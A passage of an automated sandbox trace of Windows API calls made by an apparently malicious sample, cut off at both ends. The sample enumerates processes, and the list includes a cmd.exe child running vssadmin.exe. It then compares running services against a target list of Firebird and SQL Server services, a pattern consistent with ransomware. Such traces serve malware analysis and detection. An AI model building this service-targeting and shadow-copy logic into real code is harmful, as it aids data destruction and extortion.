(lpString="kitsenormous.exe") returned 16 [0053.846] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0053.847] lstrlenW (lpString="intermediate-components.exe") returned 27 [0053.847] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0053.847] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0053.847] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0053.848] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0053.848] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0053.848] lstrlenW (lpString="stupid.exe") returned 10 [0053.848] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0053.849] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0053.849] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0053.849] lstrlenW (lpString="addition.exe") returned 12 [0053.849] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0053.850] lstrlenW (lpString="kept retirement.exe") returned 19 [0053.850] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0053.850] lstrlenW (lpString="lmmold.exe") returned 10 [0053.850] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0053.851] lstrlenW (lpString="soma weighted.exe") returned 17 [0053.851] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0053.851] lstrlenW (lpString="cartridge donation.exe") returned 22 [0053.851] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0053.852] lstrlenW (lpString="anti.exe") returned 8 [0053.852] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0053.852] lstrlenW (lpString="cashiersshot.exe") returned 16 [0053.852] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0053.853] lstrlenW (lpString="poundfi.exe") returned 11 [0053.853] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0054.124] lstrlenW (lpString="conditions_hired.exe") returned 20 [0054.124] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0054.124] lstrlenW (lpString="mercedes.exe") returned 12 [0054.124] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0054.125] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0054.125] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0054.125] lstrlenW (lpString="training_wiring.exe") returned 19 [0054.125] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0054.126] lstrlenW (lpString="democratic.exe") returned 14 [0054.126] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0054.126] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0054.126] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0054.127] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0054.127] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0054.127] lstrlenW (lpString="documented.exe") returned 14 [0054.127] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.128] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.128] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0054.128] lstrlenW (lpString="n.exe") returned 5 [0054.128] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.129] lstrlenW (lpString="cmd.exe") returned 7 [0054.129] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.129] lstrlenW (lpString="conhost.exe") returned 11 [0054.129] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.130] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.130] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.130] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.130] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0054.131] CloseHandle (hObject=0x180) returned 1 [0054.131] Sleep (dwMilliseconds=0x1f4) [0054.745] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fb38 [0054.841] EnumServicesStatusExW (in: hSCManager=0x73fb38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0054.841] GetLastError () returned 0xea [0054.841] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0054.841] EnumServicesStatusExW (in: hSCManager=0x73fb38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0054.841] CloseServiceHandle (hSCObject=0x73fb38) returned 1 [0054.841] lstrlenW (lpString="Appinfo") returned 7 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.842] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.842] lstrlenW (lpString="AudioSrv") returned 8 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.842] lstrlenW (lpString="BFE") returned 3 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.842] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.842] lstrlenW (lpString="CryptSvc") returned 8 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.842] lstrlenW (lpString="CscService") returned 10 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.842] lstrlenW (lpString="DcomLaunch") returned 10 [0054.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.842] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.843] lstrlenW (lpString="Dhcp") returned 4 [0054.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.843] lstrlenW (lpString="Dnscache") returned 8 [0054.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.843] lstrlenW (lpString="DPS") returned 3 [0054.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.843] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.843] lstrlenW (lpString="eventlog") returned 8 [0054.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.843] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.843] lstrlenW (lpString="EventSystem") returned 11 [0054.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.843] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.843] lstrlenW (lpString="gpsvc") returned 5 [0054.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.843] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.843] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.844] lstrlenW (lpString="iphlpsvc") returned 8 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.844] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.844] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.844] lstrlenW (lpString="LanmanServer") returned 12 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.844] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.844] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.844] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.844] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.844] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.844] lstrlenW (lpString="lmhosts") returned 7 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.844] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.844] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.844] lstrlenW (lpString="MMCSS") returned 5 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.844] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.844] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.844] lstrlenW (lpString="MpsSvc") returned 6 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.844] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.844] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.844] lstrlenW (lpString="Netman") returned 6 [0054.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.845] lstrlenW (lpString="netprofm") returned 8 [0054.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.845] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.845] lstrlenW (lpString="NlaSvc") returned 6 [0054.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.845] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.845] lstrlenW (lpString="nsi") returned 3 [0054.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.845] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.845] lstrlenW (lpString="PcaSvc") returned 6 [0054.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.845] lstrlenW (lpString="PlugPlay") returned 8 [0054.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.845] lstrlenW (lpString="Power") returned 5 [0054.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.846] lstrlenW (lpString="ProfSvc") returned 7 [0054.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.846] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.846] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.846] lstrlenW (lpString="RpcSs") returned 5 [0054.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.846] lstrlenW (lpString="SamSs") returned 5 [0054.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.846] lstrlenW (lpString="Schedule") returned 8 [0054.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.846] lstrlenW (lpString="SENS") returned 4 [0054.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.846] lstrcmpiW (lpString1="sqlserveradhelper", 